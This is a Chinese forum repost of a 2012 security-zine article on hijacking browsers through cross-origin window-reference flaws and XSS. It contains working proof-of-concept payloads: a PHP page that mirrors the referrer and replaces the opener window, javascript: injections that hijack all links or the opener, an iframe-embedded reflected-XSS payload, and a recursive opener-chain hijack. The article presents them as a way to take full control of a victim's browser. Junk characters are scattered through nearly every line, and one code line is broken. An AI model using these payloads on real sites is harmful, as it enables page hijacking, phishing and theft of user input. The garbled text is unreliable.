找回密码
 立即注册
查看: 2483|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==. y6 w* W0 a3 K8 F, z6 ~) f
- `1 N) {: N( W0 Q4 y
                       Issue 0x03, Phile #0x05 of 0x07
6 n" Z: j; L5 D6 e+ L
! _8 b3 X: |! V- g# q0 N8 b% g4 n' @9 E- S) b* ]
|=---------------------------------------------------------------------------=|
1 q4 g/ @' k, F3 A1 h4 U0 C|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|+ w! V' L6 Q6 r; W2 A( f
|=---------------------------------------------------------------------------=|
+ Y" r9 _. L7 R- D8 M# [|=---------------------------------------------------------------------------=|# X$ }9 N0 D/ G6 {
|=------------------------=[      By rayh4c     ]=---------------------------=|- x# r3 `% i5 W% B
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
( m9 v; b6 Z4 B2 b; f|=---------------------------------------------------------------------------=|7 ~$ F$ n( ?* L6 X  C; |/ B

# i9 y, _. N/ M3 v# i+ S+ N; f3 m% g! k% r$ L  R1 D1 s
[目录]
. Z! I, D& A% H$ E/ A$ T2 \2 T% B7 T5 g' M4 _
1. 前言
1 l; b/ ?5 G' Z* h, p2. 同源策略简叙
/ P2 n4 d! I( K0 U) @, Y, w3. 理解window对象的同源策略  ~! s) P4 t* ~4 q  A
4. 窗口引用功能中的同源策略漏洞
! f0 Q, P' R  a6 ?( F/ U3 V  4.1 父窗口引用子窗口的同源策略问题
+ ]) w. V( \# Q2 K0 a  4.2 子窗口引用父窗口的同源策略问题  m& U* [: k: u# I7 P% G! e# `
5. 利用窗口引用漏洞劫持浏览器
7 n7 ?4 \  ^. z; f$ W6 a6. 利用XSS漏洞劫持浏览器
( I/ E& m7 ^; a3 x8 e% E: k  6.1 正向跨窗口劫持  D+ k& P# L) G6 b5 K
  6.2 反向跨窗口劫持7 I* V( Z/ R3 B3 B, W
  6.3 极度危险的跨框架窗口引用劫持
6 Q9 }; `& u) X" A  6.4 极度危险的正反向跨窗口递归劫持
! G3 R4 _: E- \- }0 L5 c  6.5 完全控制浏览器
& `' C0 E& U6 U8 u1 B( u7. 后记/ ?0 A: p( d6 e5 d5 E
8. 参考
9 j+ L" u$ _) R4 n$ Y! V& M7 p* B3 v8 X
/ l) N9 L# M+ e) L6 |
一、前言  X% X4 U( E; K* \" c
5 j: ~; ^# l+ q- u& p
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
  }5 B7 Z* T+ m% t友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
2 Y  _8 L, F# G劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
/ \, U! {0 O. p1 }- s! q  [条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
$ A6 l7 f$ ]$ d' U8 @1 f7 ]' V  Z4 l
. E% z. U3 w7 W7 B8 h0 U
二、同源策略简叙
& Y2 P, G+ N  H7 t% P/ U8 `6 u8 E) \/ S( \7 k0 i: [1 o
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以3 n: o' m. U5 _! O. E
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都5 n9 l8 M8 v# }
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木( j# A7 I" F: n- m! a) M' y
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
1 s  V, k' J" `7 m/ q漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
/ J0 r3 x% L0 V, e. t/ k) ~, t4 @' C7 F+ ^& r* ]. l
$ z: }- Z0 G$ O8 a3 ~2 L- ?
三、理解window对象的同源策略# \3 C/ k+ _% x  P$ g  N

2 f# m. A% d9 [7 h7 x1 J- \    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
0 y- N1 X- N0 U3 I6 A象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:, M+ }  K" d+ k2 n( y4 f
+ r3 s0 u0 ^" I1 k
--code-------------------------------------------------------------------------7 W: h1 F  ?' }. J- n8 G
<script language="javascript">
/ V: h1 }" K* p6 k/ O6 ~+ C! jfor(p in window) document.write(p+"<br>");
9 G2 ~& r& b7 |: U' Q</script>
' i9 R! P5 i, e$ O0 w' ^-------------------------------------------------------------------------------, o( c) l( M- e( l7 b; \2 c
: E0 E- D2 r1 @" E/ O9 g
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
" @0 k+ L1 R$ z1 }' M法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,; M2 G9 g, c+ M0 M) V; K! w
这些属性和方法就必须遵循同源策略。
1 K) B: S& W% c& x, Y7 ?
: N+ c8 g: `0 x    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
+ h; i* p) \+ w) f/ d+ n2 m么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
. w4 X& m' k' O3 v! }( X; ^2 p的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这& N! N+ B- w; T7 i9 X' B
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
; ]7 f+ W( R& e& {值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
1 {" Z: O0 J  G' I属性并没有被拒绝访问。) b9 ]9 V! N5 `3 w: x. S# r) x

1 f8 ?4 Q; ~. {3 c, N8 z1 H; s* \--demo.html--------------------------------------------------------------------
. o- [0 a1 `+ R: f* h+ z<script language="javascript">   1 e1 A1 `- v, ^, C/ E* y0 q
function allPrpos(obj) {      
7 Y# c  F/ `/ W; }- r1 Y% E* J" W+ Y      var props = "<table><tr><td>名称</td><td>值</td>";           
8 K: |$ G# f% D) X5 \  y  K      for(var p in obj){          ( X% \) S" G/ u. T
            if(typeof(obj[p])=="function"){   
2 p0 [9 @# g' i) {0 m                   obj[p]();   
( n. v. {  g" o. A% D             }else{                        D% c) J3 b( S# F1 K, b
                  try   
; {& `% D, a, I- R8 w+ D                   {   
& v+ O$ e. R( i3 i                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
( Z: c( i3 J2 B3 M# l' x. a0 T                   }   - H+ B+ o) m2 M
                  catch (ex)   
6 W+ N5 a0 B# O9 j1 Y: W                   {   
- W5 X! s! ]% h/ N" K$ U, O1 k                   # S$ [7 g* ^2 a+ `1 @( |
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   ) a" J* w6 U8 A0 H" n8 O! J
                   }   
( a8 m% c' q) z/ Q6 h& C& m                       $ N6 ^% C! H7 g4 l
             }   4 p2 Q  K) [: v/ T8 }. G
       }   & y8 b9 a+ Z& L: q$ u. ^* Y
   2 I+ o2 X1 \4 m8 i( r
       document.write(props+"</table>");   - ]" h# e# ~* K  F8 u$ }4 A* E% X
}   
. t3 q$ E% g  w6 U- ]! a   
7 r5 d$ k" F, R1 lfunction createWin() {
5 q/ V' b" a. J: g, R0 B        newWin = window.open ("http://www.google.com");  
( W, ^) u' n: a, p+ i& Q* l# b6 j0 b* S        setTimeout(function(){allPrpos(newWin)},2000); " o1 Z% \+ g% b- S
}
/ m: _$ o7 j3 F
. X- n/ f' U+ w. S/ z</script>
. \! o9 @0 o& u" s$ O6 P- @( [8 ~6 K, p
<button onclick='createWin()'>创建一个非同源子窗口测试</button>5 O. o/ F6 @# B; U/ U
-------------------------------------------------------------------------------, I/ S+ R! f4 c1 O
  T4 ]! U, W6 O4 w$ B

" F( r( F- k$ E: g- E四、窗口引用功能中的同源策略漏洞
; l) d# D) i9 u# w
& u2 Y) m" K' O) ^9 X4.1 父窗口引用子窗口的同源策略问题
4 P% A) g! r8 n
* V) Q: [9 E! u. L    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
, }- J- c7 h! A. H) T; \. ~但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
  g. U# q* }5 X浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
* r- Z; L$ ~9 u5 C5 e行测试,会发现父窗口可以控制非同源子窗口location属性值。
+ Y# Q+ m2 M5 d/ K# Z0 q$ Y8 C* h$ C# k
--vul1.html--------------------------------------------------------------------: ?9 C' y' E/ x4 r+ K+ c5 b0 K0 I
<script language="javascript"> 8 h% W$ u/ f+ C! G( t
function createWin() {  
4 B+ ~, D6 y5 o4 u        newWin = window.open ("http://www.google.com");  1 j; g2 D; x* ^/ n- K6 J. T8 V4 y
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); - ^; d5 Q4 ]/ P% |1 i7 O
} * @" k6 }# ]1 X4 B% _$ B4 e/ T( T/ j
</script>, r5 i! ~% a& [9 i" c; @

6 H9 N- R* N) O1 P9 x; X<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 r9 y3 M9 `& ~9 {-------------------------------------------------------------------------------! x# n" w; D/ L, w" r( o

/ I; N9 O6 l3 s  g) m+ y: X- F+ \
4.2 子窗口引用父窗口的同源策略问题/ C3 E+ A. x  [& n3 ^5 A% z% H

' T) n  p$ h$ N; t  ^) L    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
4 ^( F- ]$ m; Y! G$ T用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们7 Z  B2 j1 q1 G2 l0 P9 v% @9 n
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定1 i. U* h6 {1 A1 N" E- v
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。' A* i" O2 z, P( n! o

! ^+ _% h4 `+ h$ a% s# J+ {--code-------------------------------------------------------------------------
( F; y3 K# E/ D% L# p9 `6 P
+ s& _6 H& I! r- |javascript:window.opener.location = "http://www.80sec.com";void(0);
) k; ]9 B; ~) ]/ i2 P7 n! p
; Y; S6 K8 m, R' ]/ P2 o. K-------------------------------------------------------------------------------
3 c2 `6 |/ T/ Y( B: t
$ D" A8 W; w  a* S" e  r3 B- E0 \8 P( c% V: e, |' `
五、利用窗口引用漏洞劫持浏览器9 l: V9 F& V4 U( }" {. [
. P% t7 A/ ]/ a& B& D/ g& O& z" q
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子& q/ d. ^) C, H+ z
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那  @. Y6 ?, l+ Q. y7 h+ y1 f
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
% ^$ P" ]3 g# q$ H) B8 c% A( R# h* b3 g7 w, v7 w
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产3 n- y5 \# n9 w0 P
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
1 S: a$ ?8 V: @' j( i者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接  I5 |2 o; ?: G1 k
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
+ M7 Q7 \) s# N会产生什么可怕的后果。3 O% N$ P4 }1 s/ C

# E! Y0 i$ o# P7 ?    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
3 y. o1 R- z/ F! Z% f  `# t2 t们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
4 I3 A8 ?0 k% o( a; c这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时( s8 |0 ^8 @0 Y1 w2 ^/ |
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
( q, R: _  S0 U! [以做更多的事情,所有的一切仅仅是因为点击了一个链接。1 b' P% V6 f( S1 W

/ Q9 p7 i0 V: r1 ]! u--hjk_ref.php------------------------------------------------------------------
/ r, B2 |+ y+ F8 V( o2 R<?php- v! |/ l: ~' C, v. ]4 Y5 F, d. B- n- m
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
* p& j+ k5 `, G# y$Url_Mirror = $_SERVER["HTTP_REFERER"];; H4 t& }) Y% L7 h  q
} - Y8 Z9 Q8 K: F- H( G
if(isset ($_GET['ref'])) {8 L1 }, W4 W7 b
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';+ t: W' f9 H5 Q+ x6 Y6 t
}' ?2 E. v* t( y1 e/ A
?>& C' r2 X$ l+ h2 t9 r
" e3 `& i0 _. ]  A, u$ t
<script language="javascript">& q( J" x! V. k
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
1 S2 q6 e! ^+ p& v0 r2 G</script>. D- J3 X' {2 L# y3 n( B
-------------------------------------------------------------------------------8 h, Q( D( `$ {; e- v- ?# Y$ k

2 r  }* r- f6 P1 S" i  E    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。3 k, b2 Q0 P3 |. ^0 w% ]8 o

. k8 V& O7 |% D0 e7 o7 Q5 \$ y% [0 q5 n/ C
六、利用XSS漏洞劫持浏览器, u* `: v6 X" G& R- X: q: Y% I

$ R7 ?$ }7 b& m: q' ]' C    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
" I( L! Y7 b  r, h持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
4 C9 b) b3 J* ?+ hXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起( c& u- W' g; ^
讨论跨站师的终极技巧:
' t7 |: A# ]& ~1 C! L4 ?& |) v* O1 P% |" ^1 Q
; p6 o- A7 L6 w0 k/ z. S
6.1 正向跨窗口劫持
4 b% r* o, Z, k1 z/ J5 s4 u" L% ]7 V& m9 ~" Y  }0 S: g6 f
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
& M$ ?$ ~/ y; J) E& a9 e主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
/ g; X: R+ c# D5 |- b4 l接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
, w5 a5 l' O1 s6 Y9 z0 f$ b/ b) T框脚本。 ! c4 l, R0 E) a7 n( D2 l

! H% U( c* t& x# \9 D. M& c+ b--hijack_open.js---------------------------------------------------------------
  X3 E9 J4 t0 o* }2 H- n
7 p" V$ b  ?( S8 ]- j$ w$ ~# v" mjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
% [# _! `1 i# V; p2 c6 R; D
& H& ]0 J+ e  l: ^9 `-------------------------------------------------------------------------------( N; p( s. \: s; E9 P0 k1 @. l' ?+ C
0 |* k9 y/ ~3 X, _: t# z3 q

$ c$ K5 \, O0 l5 @) s0 x6.2 反向跨窗口劫持/ j% J2 y. _& D' h

" h1 f- ~2 g/ o; L+ u# S+ r    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
4 N' T, W$ S4 K, e) ?0 K2 Q+ i码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
* [; k+ t/ Z4 J6 d框脚本。
# j( O/ b" D) l  }, |8 k& N& {, H" c
" |$ r# G$ k9 d( P) P" D--hijack_opener.js-------------------------------------------------------------
4 [. `" K# c: g$ G! S- J7 {, Q
5 h' p* f5 n4 b  vjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);  d. i' @; W+ n$ L
; \) }) F; }% s2 `7 G5 u6 W' w! Y9 e& w
-------------------------------------------------------------------------------, k* I6 }  Z4 s8 U0 R* @: Z6 H
, K* \  {) |  R! r' c: }
: e5 i3 L' P# |& }9 a% Q
6.3 极度危险的跨框架窗口引用劫持
* }2 B8 T4 A9 l8 y8 A- {, G" g1 ^" w6 l- u' `. r8 s9 A; U  W
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞7 Y# `2 v+ @9 r4 |# F9 Q
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就1 l9 M* ^' X% F$ X
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个% F2 D; e# A% K6 @" N
非持久型的XSS,如下:. t9 s8 u" ?+ w( `4 W

5 k9 a# \0 B- `* x  S<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
& ?1 y1 F7 \: M0 e- n* n$ d2 u8 h4 c6 S, ?& t0 q- U1 H
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口1 _7 g; K/ J( h' s6 d9 M
注入脚本。  Q# c7 p  O/ E+ z' B
& s. s& J: F2 F9 f' s
--hijack_frame_opener.js-------------------------------------------------------+ s2 b/ t: y. P6 @0 Q4 F3 T
<script>7 W1 `" x0 r/ N) c5 u
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
+ Z, U5 a: E  {- W/ d: N1 j, w</script>
0 P- C# z! L+ S3 W# ]/ o-------------------------------------------------------------------------------
! @5 I: y$ P0 u! M  p7 e
" }1 t0 i* x9 \: N* Z
1 M5 N( x6 b2 B5 g& n2 K5 D6.4 极度危险的正反向跨窗口递归劫持
# g+ x3 F2 u* C! C
" n( c: t2 A* e/ d    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window. D, u/ K0 e3 a* L- _- d( ~6 M- j; H
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过7 g6 t' M& \( P
异常处理规避之间跨域页面的访问异常,代码如下:" u) k& C; |, e9 N! \

  G' n9 W0 R. w5 b--code-------------------------------------------------------------------------- H9 f, o# O& }# e! d/ Y

% J0 k) {! n6 h# w$ `% Wjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);' H+ S& [  e2 k0 y! V
. [% Y, p, X7 y% L; B$ k& w- w
-------------------------------------------------------------------------------
# e8 a' n$ a; @% A2 n' x7 [2 n$ Q: g4 U# S
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
( i/ Y" D8 p8 q+ N3 |1 p以劫持B域之前的A域页面,从而实现“隔空打击”。8 u7 p0 T6 V( G7 G6 k1 ^; v5 C9 Y

# X7 c$ O: A- A7 c  ?    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面- q: F) I& r. v" E2 L
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
1 t; U- D% \( w* B8 Q! [3 E3 N% z# @: T+ M
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。+ H3 H$ n8 e/ p' N5 G6 t

, f+ V1 m: ]. P4 ^8 D
. {4 B, m& F9 l; l6.5 完全控制浏览器- Y; k. E5 J4 D  T4 z: j' q
4 f, Z! L, z5 }' J& u: `2 B
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则- Q) d8 I* b" N+ N2 |
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS4 Z8 z- f6 M+ f0 B1 ~8 `) S
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
' W. \2 M, ^, q+ `% B" J! P! l而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再4 w; R$ g4 Y( Y/ n* ^" a* t+ ^
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站/ n! s6 @* T# ~
师的终极目标 - 完全控制浏览器。
. P( X/ p" @* h, a# m5 J5 x9 p  J; U7 G& o3 p
3 s5 N, P, V) U$ w% e
七、后记/ t8 T, V& E* E3 A

& g; h. K3 p2 J( K# C/ V, h& _! J    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
1 n' G- \; C& s# C' [与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予* |8 s8 T4 y7 f' |! R# f( o
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。; g% [8 v4 V5 ?' O4 s* v

4 A% x! Q' N; b- X; |
- w/ T- D% R( N, c" s% u' k八、参考
+ [7 A9 ]; C6 [3 |( B$ i  g  E' z: {" H1 u. y6 d" v
1. http://en.wikipedia.org/wiki/Same_origin_policy2 p4 f8 b2 B' K
2. http://code.google.com/p/browser ... licy_for_DOM_access
& G: J9 g% e$ ]" N1 G. b/ w3. http://www.w3.org/TR/Window/, X- r+ Q1 z8 W3 c+ p
4. http://www.80sec.com/release/browser-hijacking.txt8 U+ n- Z* ]5 [$ Y6 n8 l& W
5. http://www.80sec.com/all-browser-security-alert.html: e) x7 G& C& {' y
6. http://www.80sec.com/ms08-058-attacks-google.html: w* \/ o% K  a+ ~# W9 [! F

! r; }1 ~4 k$ t/ Y% d. `-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表